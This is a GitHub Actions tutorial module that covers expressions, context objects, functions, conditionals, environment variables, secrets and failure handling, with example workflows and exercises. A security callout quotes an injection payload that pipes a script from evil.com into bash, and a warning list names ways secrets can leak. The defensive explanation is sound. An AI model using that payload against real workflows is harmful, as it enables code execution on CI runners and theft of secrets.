Expressions and Context Objects
Every powerful GitHub Actions workflow relies on expressions — the dynamic evaluation engine embedded in YAML. Expressions let you compute values, access runtime information, make conditional decisions, and pass data between steps and jobs. Without expressions, workflows would be static scripts with no ability to adapt to context.
The expression syntax uses the ${{ }} delimiter. Anything inside these double curly braces is evaluated by the Actions runtime before the step executes. Expressions can appear in almost any YAML value — step inputs, environment variables, if conditions, and job outputs.
# Expression syntax basics
name: Expression Demo
on: push
jobs:
demo:
runs-on: ubuntu-latest
steps:
- name: Show expression evaluation
run: |
echo "Repository: ${{ github.repository }}"
echo "Actor: ${{ github.actor }}"
echo "SHA: ${{ github.sha }}"
echo "Ref: ${{ github.ref }}"
echo "Event: ${{ github.event_name }}"
Expressions support standard operators: comparison (==, !=, <, >, <=, >=), logical (&&, ||, !), and property access via dot notation or index syntax. Type coercion is automatic — GitHub Actions converts types using JavaScript-like rules (null → 0, boolean true → 1, strings to numbers where possible).
"; curl http://evil.com | bash; echo " that gets injected into your workflow. Always assign untrusted data to an environment variable first, then reference it via $VARIABLE in shell commands, never via ${{ }}.
Context Objects Reference
Context objects are the data sources available inside expressions. Each context provides access to a different aspect of the workflow execution environment:
| Context | Description | Common Properties |
|---|---|---|
github |
Information about the workflow run and the event that triggered it | .repository, .actor, .sha, .ref, .event_name, .event |
env |
Environment variables set at workflow, job, or step level | Any key set via env: blocks |
vars |
Configuration variables set at repo, org, or environment level | .DEPLOY_URL, .APP_NAME, etc. |
secrets |
Encrypted secrets available to the workflow | .GITHUB_TOKEN, custom secrets |
steps |
Outputs and status of previous steps in the current job | .<step_id>.outputs.<name>, .<step_id>.outcome |
job |
Information about the currently running job | .status, .container, .services |
runner |
Information about the runner executing the job | .os, .arch, .name, .temp, .tool_cache |
matrix |
Current matrix parameters for the running job | Keys defined in strategy.matrix |
needs |
Outputs and results of dependent jobs | .<job_id>.outputs.<name>, .<job_id>.result |
inputs |
Inputs passed to reusable workflows or manual triggers | Keys defined in workflow_dispatch.inputs |
flowchart TD
A[Workflow Triggered] --> B[Expression Engine]
B --> C{Evaluate Context}
C --> D[github context]
C --> E[env context]
C --> F[vars context]
C --> G[secrets context]
C --> H[steps context]
C --> I[job context]
C --> J[runner context]
C --> K[matrix context]
C --> L[needs context]
D --> M[Repository & Event Data]
E --> N[Env Vars: workflow > job > step]
F --> O[Config Vars: org > repo > env]
G --> P[Encrypted Secrets]
H --> Q[Previous Step Outputs]
I --> R[Current Job Status]
J --> S[Runner OS, Arch, Paths]
K --> T[Matrix Combination Values]
L --> U[Dependent Job Results]
M --> V[Resolved Value]
N --> V
O --> V
P --> V
Q --> V
R --> V
S --> V
T --> V
U --> V
V --> W[Inject into YAML]
# Comprehensive context usage example
name: Context Objects Demo
on:
push:
branches: [main]
env:
WORKFLOW_VAR: "I am set at workflow level"
jobs:
context-demo:
runs-on: ubuntu-latest
env:
JOB_VAR: "I am set at job level"
outputs:
version: ${{ steps.extract.outputs.version }}
steps:
- uses: actions/checkout@v4
- name: GitHub context
run: |
echo "Repo: ${{ github.repository }}"
echo "Owner: ${{ github.repository_owner }}"
echo "Actor: ${{ github.actor }}"
echo "SHA: ${{ github.sha }}"
echo "Short SHA: ${GITHUB_SHA::7}"
echo "Branch: ${{ github.ref_name }}"
echo "Event: ${{ github.event_name }}"
echo "Run ID: ${{ github.run_id }}"
echo "Run Number: ${{ github.run_number }}"
echo "Workflow: ${{ github.workflow }}"
- name: Runner context
run: |
echo "OS: ${{ runner.os }}"
echo "Arch: ${{ runner.arch }}"
echo "Temp: ${{ runner.temp }}"
echo "Tool Cache: ${{ runner.tool_cache }}"
- name: Extract version
id: extract
run: |
VERSION=$(cat package.json | jq -r '.version')
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Use step output
run: |
echo "Version from previous step: ${{ steps.extract.outputs.version }}"
downstream:
needs: context-demo
runs-on: ubuntu-latest
steps:
- name: Use needs context
run: |
echo "Version from upstream: ${{ needs.context-demo.outputs.version }}"
echo "Upstream result: ${{ needs.context-demo.result }}"
Built-in Functions and Status Check Functions
GitHub Actions provides a set of built-in functions that extend the expression engine beyond simple property access and comparison. These functions handle string manipulation, data serialization, hashing, and workflow status checking.
String and Data Functions
# String and data functions
name: Functions Demo
on: workflow_dispatch
jobs:
functions:
runs-on: ubuntu-latest
steps:
- name: contains() - Check if value contains substring
if: contains(github.event.head_commit.message, '[skip ci]')
run: echo "Skipping CI as requested"
- name: startsWith() and endsWith()
run: |
echo "Is main branch: ${{ startsWith(github.ref, 'refs/heads/main') }}"
echo "Is tag: ${{ startsWith(github.ref, 'refs/tags/') }}"
echo "Is YAML file: ${{ endsWith(github.event.head_commit.modified[0], '.yml') }}"
- name: format() - String interpolation
run: |
echo "${{ format('Hello {0}, your run is {1}!', github.actor, github.run_number) }}"
echo "${{ format('{0}/{1}@{2}', github.repository_owner, github.repository, github.sha) }}"
- name: join() - Array to string
run: |
echo "Labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"
- name: toJSON() and fromJSON()
run: |
echo "Full github context:"
echo '${{ toJSON(github) }}'
- name: hashFiles() - File content hashing
run: |
echo "Lock hash: ${{ hashFiles('**/package-lock.json') }}"
echo "Source hash: ${{ hashFiles('src/**/*.ts', 'src/**/*.tsx') }}"
Status Check Functions
Status check functions determine the execution state of the workflow at the point they're evaluated. They're critical for building resilient workflows with cleanup steps, notifications, and conditional recovery logic.
# Status check functions
name: Status Functions Demo
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run tests
id: tests
run: npm test
# Runs ONLY if all previous steps succeeded (default behavior)
- name: Deploy (only on success)
if: success()
run: echo "Deploying..."
# Runs ONLY if any previous step failed
- name: Notify failure
if: failure()
run: |
echo "Tests failed! Sending notification..."
curl -X POST "$SLACK_WEBHOOK" \
-d '{"text":"Build failed for ${{ github.repository }}"}'
env:
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
# Runs ALWAYS regardless of success/failure/cancellation
- name: Cleanup (always runs)
if: always()
run: |
echo "Cleaning up temporary resources..."
rm -rf /tmp/test-artifacts
# Runs only if the workflow was cancelled
- name: Handle cancellation
if: cancelled()
run: echo "Workflow was cancelled by ${{ github.actor }}"
if: success() — meaning steps only run if all previous steps succeeded. When you write if: failure(), you're overriding this default. Combine with always() for steps that must execute regardless of outcome (cleanup, notifications, artifact uploads).
# Advanced: fromJSON() for dynamic matrix generation
name: Dynamic Matrix
on: push
jobs:
prepare:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- uses: actions/checkout@v4
- id: set-matrix
run: |
# Dynamically generate matrix from changed directories
DIRS=$(find packages -maxdepth 1 -mindepth 1 -type d | jq -R -s -c 'split("\n")[:-1]')
echo "matrix={\"package\":$DIRS}" >> $GITHUB_OUTPUT
build:
needs: prepare
runs-on: ubuntu-latest
strategy:
matrix: ${{ fromJSON(needs.prepare.outputs.matrix) }}
steps:
- uses: actions/checkout@v4
- name: Build package
run: |
echo "Building ${{ matrix.package }}"
cd ${{ matrix.package }} && npm ci && npm run build
Conditional Execution with if
The if keyword is your primary tool for controlling execution flow. It can be applied at both the job level (controlling whether an entire job runs) and the step level (controlling individual steps within a job). The value is an expression that must evaluate to truthy for execution to proceed.
# Job-level and step-level conditions
name: Conditional Execution
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
# Job-level condition: only run on push to main
deploy-production:
runs-on: ubuntu-latest
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
- name: Deploy to production
run: echo "Deploying to production..."
# Job-level condition: only on pull requests
preview:
runs-on: ubuntu-latest
if: github.event_name == 'pull_request'
steps:
- uses: actions/checkout@v4
- name: Deploy preview
run: echo "Deploying PR preview..."
# Step-level conditions
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: npm ci
- name: Run linter
run: npm run lint
- name: Run unit tests
run: npm test
# Only deploy on push to main (not on PRs)
- name: Deploy
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: npm run deploy
# Only run on develop branch
- name: Deploy to staging
if: github.ref == 'refs/heads/develop'
run: npm run deploy:staging
Combining Conditions with Logical Operators
# Complex conditional logic
name: Advanced Conditions
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
inputs:
force_deploy:
type: boolean
default: false
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# AND condition: push to main AND not a bot
- name: Human-triggered deploy
if: >-
github.event_name == 'push' &&
github.ref == 'refs/heads/main' &&
github.actor != 'dependabot[bot]'
run: echo "Deploying (human push to main)..."
# OR condition: manual dispatch OR push to main
- name: Deploy (multiple triggers)
if: >-
github.event_name == 'workflow_dispatch' ||
(github.event_name == 'push' && github.ref == 'refs/heads/main')
run: echo "Deploying..."
# Negation with !
- name: Skip for bots
if: "!contains(github.actor, '[bot]')"
run: echo "Not a bot — proceeding"
# Checking PR labels
- name: Run expensive tests
if: >-
github.event_name == 'pull_request' &&
contains(github.event.pull_request.labels.*.name, 'run-full-suite')
run: npm run test:full
# Using inputs (workflow_dispatch)
- name: Force deploy
if: inputs.force_deploy == true
run: echo "Force deploying as requested..."
# Combining status functions with conditions
- name: Notify on failure (main branch only)
if: failure() && github.ref == 'refs/heads/main'
run: echo "Main branch build failed! Alerting team..."
if expression starts with !, you must wrap it in quotes (if: "!expression") because YAML interprets bare ! as a tag indicator. Multi-line conditions with >- avoid this issue and improve readability.
Default and Custom Environment Variables
GitHub Actions provides a rich set of default environment variables (prefixed with GITHUB_ and RUNNER_) that are automatically available in every workflow run. These give you access to repository metadata, commit information, and runner details without needing expressions.
# Default environment variables available in every run
name: Default Env Vars
on: push
jobs:
show-defaults:
runs-on: ubuntu-latest
steps:
- name: Display default GITHUB_* variables
run: |
echo "GITHUB_REPOSITORY: $GITHUB_REPOSITORY"
echo "GITHUB_SHA: $GITHUB_SHA"
echo "GITHUB_REF: $GITHUB_REF"
echo "GITHUB_REF_NAME: $GITHUB_REF_NAME"
echo "GITHUB_ACTOR: $GITHUB_ACTOR"
echo "GITHUB_WORKFLOW: $GITHUB_WORKFLOW"
echo "GITHUB_RUN_ID: $GITHUB_RUN_ID"
echo "GITHUB_RUN_NUMBER: $GITHUB_RUN_NUMBER"
echo "GITHUB_RUN_ATTEMPT: $GITHUB_RUN_ATTEMPT"
echo "GITHUB_EVENT_NAME: $GITHUB_EVENT_NAME"
echo "GITHUB_WORKSPACE: $GITHUB_WORKSPACE"
echo "GITHUB_ACTION: $GITHUB_ACTION"
echo "GITHUB_SERVER_URL: $GITHUB_SERVER_URL"
echo "GITHUB_API_URL: $GITHUB_API_URL"
echo "GITHUB_OUTPUT: $GITHUB_OUTPUT"
echo "GITHUB_ENV: $GITHUB_ENV"
echo "GITHUB_PATH: $GITHUB_PATH"
echo "GITHUB_STEP_SUMMARY: $GITHUB_STEP_SUMMARY"
echo "RUNNER_OS: $RUNNER_OS"
echo "RUNNER_ARCH: $RUNNER_ARCH"
echo "RUNNER_TEMP: $RUNNER_TEMP"
Setting Custom Environment Variables
Custom environment variables can be set at three scopes — workflow, job, and step — with narrower scopes overriding broader ones. You can also set environment variables dynamically during a step using the $GITHUB_ENV file.
# Custom environment variables at all scopes
name: Custom Env Variables
on: push
# Workflow-level env (available to all jobs)
env:
NODE_ENV: production
APP_NAME: my-application
BUILD_CONFIG: release
jobs:
build:
runs-on: ubuntu-latest
# Job-level env (overrides workflow-level for this job)
env:
NODE_ENV: test
DATABASE_URL: postgres://localhost:5432/testdb
steps:
- uses: actions/checkout@v4
# Step-level env (overrides job-level for this step)
- name: Run tests
env:
NODE_ENV: test
CI: true
TEST_TIMEOUT: 30000
run: |
echo "NODE_ENV = $NODE_ENV" # "test" (step overrides)
echo "APP_NAME = $APP_NAME" # "my-application" (workflow level)
echo "DATABASE_URL = $DATABASE_URL" # From job level
npm test
# Dynamically setting env vars for subsequent steps
- name: Set dynamic variables
run: |
echo "BUILD_VERSION=1.2.3-$(date +%s)" >> $GITHUB_ENV
echo "DEPLOY_TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)" >> $GITHUB_ENV
- name: Use dynamic variables
run: |
echo "Version: $BUILD_VERSION"
echo "Deploy at: $DEPLOY_TIMESTAMP"
Configuration Variables
Configuration variables (accessed via the vars context) are non-secret settings stored in GitHub's UI at the repository, organization, or environment level. Unlike secrets, they're not encrypted and can be viewed by anyone with repo access — making them ideal for non-sensitive configuration like URLs, feature flags, app names, and deployment targets.
# Using configuration variables (vars context)
name: Configuration Variables
on: push
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Show configuration variables
run: |
echo "App Name: ${{ vars.APP_NAME }}"
echo "Deploy URL: ${{ vars.DEPLOY_URL }}"
echo "Region: ${{ vars.AWS_REGION }}"
echo "Log Level: ${{ vars.LOG_LEVEL }}"
echo "Feature Flags: ${{ vars.FEATURE_FLAGS }}"
- name: Build with config
env:
API_URL: ${{ vars.API_BASE_URL }}
CDN_URL: ${{ vars.CDN_URL }}
run: |
npm run build -- \
--api-url="$API_URL" \
--cdn-url="$CDN_URL"
- name: Deploy to configured target
run: |
echo "Deploying ${{ vars.APP_NAME }} to ${{ vars.DEPLOY_URL }}"
# Deploy command using vars for non-secret config
vars for non-sensitive configuration you want to manage in the UI (deploy URLs, feature flags, app names). Use secrets for credentials and tokens. Use env: for values defined directly in the workflow file. The vars context is ideal for values that change between environments without modifying workflow code.
Repository, Organization, and Environment Variables
Both configuration variables (vars) and secrets follow a scoping hierarchy with clear precedence rules. Understanding this hierarchy is essential for managing configuration across multiple repositories and environments in an organization.
# Demonstrating variable scoping and precedence
name: Variable Precedence Demo
on:
workflow_dispatch:
inputs:
environment:
type: choice
options: [development, staging, production]
jobs:
show-precedence:
runs-on: ubuntu-latest
# Environment-level vars override repo and org vars
environment: ${{ inputs.environment }}
steps:
- name: Display resolved variables
run: |
# If 'API_URL' is set at org, repo, AND environment level:
# Environment-level wins (most specific)
echo "API_URL: ${{ vars.API_URL }}"
# Precedence order (highest to lowest):
# 1. Environment-level variable
# 2. Repository-level variable
# 3. Organization-level variable
echo "---"
echo "ORG_NAME: ${{ vars.ORG_NAME }}" # Likely org-level
echo "REPO_SETTING: ${{ vars.REPO_SETTING }}" # Likely repo-level
echo "ENV_CONFIG: ${{ vars.ENV_CONFIG }}" # Likely env-level
| Scope | Precedence | Set Where | Use Case |
|---|---|---|---|
| Environment | Highest (wins) | Settings → Environments → [name] → Variables | Environment-specific URLs, feature flags, deploy targets |
| Repository | Medium | Settings → Secrets and variables → Actions → Variables | Repo-specific config: app name, default region, team name |
| Organization | Lowest (default) | Org Settings → Secrets and variables → Actions → Variables | Shared org-wide config: registry URL, org name, common tags |
# Multi-environment deployment using variable scoping
name: Multi-Environment Deploy
on:
push:
branches: [main, develop]
jobs:
deploy-staging:
if: github.ref == 'refs/heads/develop'
runs-on: ubuntu-latest
environment: staging
steps:
- uses: actions/checkout@v4
- name: Deploy to staging
run: |
# vars.API_URL resolves to staging URL
echo "Deploying to ${{ vars.API_URL }}"
echo "Region: ${{ vars.AWS_REGION }}"
deploy-production:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Deploy to production
run: |
# vars.API_URL resolves to production URL
echo "Deploying to ${{ vars.API_URL }}"
echo "Region: ${{ vars.AWS_REGION }}"
Working with Secrets
Secrets are encrypted values stored in GitHub that are exposed to workflows via the secrets context. Unlike configuration variables, secrets are never visible in logs — GitHub automatically masks any secret value that appears in workflow output, replacing it with ***.
- Never hardcode credentials in workflow files — always use secrets
- Rotate secrets regularly (at minimum quarterly, immediately if compromised)
- Use
GITHUB_TOKEN(automatically generated) over personal access tokens when possible - Scope secrets to specific environments for least-privilege access
- Never echo, print, or log secret values — even accidentally via
toJSON() - Use environment protection rules (required reviewers) for production secrets
# Working with secrets
name: Secrets Management
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
# Using the automatic GITHUB_TOKEN
- name: Create release with GITHUB_TOKEN
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release create v1.0.0 \
--title "Release v1.0.0" \
--notes "Automated release"
# Using custom secrets
- name: Deploy to cloud
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: |
# Secrets are masked in logs — if accidentally printed,
# GitHub replaces the value with ***
echo "Deploying with credentials..."
aws s3 sync ./dist s3://${{ vars.S3_BUCKET }}
# Environment-scoped secrets
- name: Database migration
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
run: |
# This secret is only available when job uses
# environment: production
npx prisma migrate deploy
- Expression injection:
run: echo "${{ github.event.issue.title }}"can leak secrets if the title contains${{ secrets.TOKEN }} - Untrusted PR workflows:
pull_request_targetruns with repo secrets — never checkout untrusted PR code in this context - Composite actions: Secrets passed to third-party actions could be exfiltrated — audit action source code
- Artifact upload: Don't include files containing secrets in uploaded artifacts
- toJSON():
${{ toJSON(secrets) }}dumps ALL secrets — never use this
# GITHUB_TOKEN permissions and scoping
name: GITHUB_TOKEN Usage
on:
pull_request:
# Restrict GITHUB_TOKEN permissions (principle of least privilege)
permissions:
contents: read
pull-requests: write
issues: write
jobs:
pr-comment:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run tests and get coverage
run: |
npm ci
npm run test:coverage > coverage-report.txt
- name: Comment on PR with coverage
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
COVERAGE=$(cat coverage-report.txt | tail -1)
gh pr comment ${{ github.event.pull_request.number }} \
--body "## Test Coverage Report
$COVERAGE
_Generated by CI on $(date -u +%Y-%m-%dT%H:%M:%SZ)_"
Using continue-on-error and Timeouts
By default, a failed step stops all subsequent steps in the job, and a failed job prevents dependent jobs from running. The continue-on-error property and timeout-minutes setting give you fine-grained control over failure handling and execution time limits.
# continue-on-error: allowing failures
name: Resilient Workflow
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# This step can fail without stopping the workflow
- name: Run experimental tests
id: experimental
continue-on-error: true
run: npm run test:experimental
# This always runs (previous failure didn't stop execution)
- name: Run core tests
run: npm test
# Check if experimental tests failed
- name: Report experimental status
if: steps.experimental.outcome == 'failure'
run: |
echo "⚠️ Experimental tests failed (non-blocking)"
echo "Outcome: ${{ steps.experimental.outcome }}"
# outcome = actual result (success/failure)
# conclusion = final result after continue-on-error (success)
# Job-level continue-on-error
optional-check:
runs-on: ubuntu-latest
continue-on-error: true
steps:
- name: Non-critical validation
run: |
echo "Running optional validation..."
exit 1 # This fails but doesn't block dependent jobs
deploy:
needs: [test, optional-check]
runs-on: ubuntu-latest
# This runs even if optional-check failed
steps:
- name: Deploy
run: echo "Deploying (optional-check failure is non-blocking)..."
# Timeout configuration
name: Timeout Controls
on: push
jobs:
build:
runs-on: ubuntu-latest
# Job-level timeout (default is 360 minutes / 6 hours)
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
# Step-level timeout (overrides job-level for this step)
- name: Install dependencies
timeout-minutes: 5
run: npm ci
- name: Run tests with timeout
timeout-minutes: 10
run: npm test
# Long-running integration tests with generous timeout
- name: Integration tests
timeout-minutes: 20
run: npm run test:integration
# Prevent hanging deployments
- name: Deploy with timeout
timeout-minutes: 5
run: |
echo "Deploying..."
./deploy.sh --wait-for-healthy
# Combining continue-on-error with status functions
name: Resilient Pipeline with Notifications
on:
push:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Core tests
id: core-tests
run: npm test
- name: Performance tests
id: perf-tests
continue-on-error: true
timeout-minutes: 10
run: npm run test:performance
- name: Security scan
id: security
continue-on-error: true
timeout-minutes: 5
run: npm audit --production
# Summary step that checks all outcomes
- name: Generate summary
if: always()
run: |
echo "## Test Results" >> $GITHUB_STEP_SUMMARY
echo "| Test Suite | Status |" >> $GITHUB_STEP_SUMMARY
echo "|------------|--------|" >> $GITHUB_STEP_SUMMARY
echo "| Core Tests | ${{ steps.core-tests.outcome }} |" >> $GITHUB_STEP_SUMMARY
echo "| Performance | ${{ steps.perf-tests.outcome }} |" >> $GITHUB_STEP_SUMMARY
echo "| Security | ${{ steps.security.outcome }} |" >> $GITHUB_STEP_SUMMARY
# Fail the workflow if non-optional tests failed
- name: Check critical results
if: always()
run: |
if [ "${{ steps.core-tests.outcome }}" == "failure" ]; then
echo "Critical tests failed!"
exit 1
fi
echo "All critical tests passed"
notify:
needs: test
if: always()
runs-on: ubuntu-latest
steps:
- name: Send notification
run: |
if [ "${{ needs.test.result }}" == "success" ]; then
echo "✅ All checks passed"
elif [ "${{ needs.test.result }}" == "failure" ]; then
echo "❌ Build failed — notifying team"
else
echo "⚠️ Build status: ${{ needs.test.result }}"
fi
continue-on-error: true is set, a step has two status values: outcome (the actual result — success or failure) and conclusion (always success because the error was allowed). Use steps.<id>.outcome to check the real result, and steps.<id>.conclusion to check the "allowed" result.
Exercises
Create a workflow triggered on push and pull_request that uses expressions to determine the deployment target. Requirements: (1) On push to main, deploy to production. (2) On push to develop, deploy to staging. (3) On pull requests, only run tests (no deploy). (4) Skip the entire workflow if the commit message contains [skip ci]. (5) Add a notification step using if: always() that reports success/failure to a Slack webhook. Use the github, env, and secrets contexts throughout.
Build a two-job workflow: (1) A discover job that reads a services.json file listing microservices (name, path, test-command) and outputs the list using fromJSON(). (2) A test job using the dynamic matrix to test each service in parallel. Add continue-on-error: true on the matrix job so one service failure doesn't cancel others. Include a final summary job (using if: always() and needs context) that collects results and posts a GitHub Step Summary table showing pass/fail status per service.
Create a deployment workflow that demonstrates proper secrets management: (1) Define separate staging and production environments in your repository. (2) Set environment-specific secrets (DATABASE_URL, API_KEY) and variables (API_URL, LOG_LEVEL) for each. (3) Build the workflow so the deploy job uses the environment: keyword to access the correct scoped secrets. (4) Use permissions: to restrict GITHUB_TOKEN to minimum required access. (5) Add a verification step that uses the secrets without exposing them, confirming connectivity to the target environment.
Design a workflow that gracefully handles failures and timeouts: (1) A test job with three test suites — unit (timeout: 5 min), integration (timeout: 15 min, continue-on-error), and e2e (timeout: 10 min, continue-on-error). (2) A report step using if: always() that writes a GITHUB_STEP_SUMMARY markdown table showing each suite's outcome. (3) A deploy job that only proceeds if unit tests passed (regardless of optional suite results). (4) A rollback job that triggers if deploy fails, using needs.deploy.result == 'failure'. Test by intentionally timing out one suite.
Next in the Bootcamp
In Module 5: Data Sharing and Workflow Optimization, we'll explore artifacts, caching strategies, job outputs, reusable workflows, composite actions, and performance optimization techniques for large-scale CI/CD pipelines.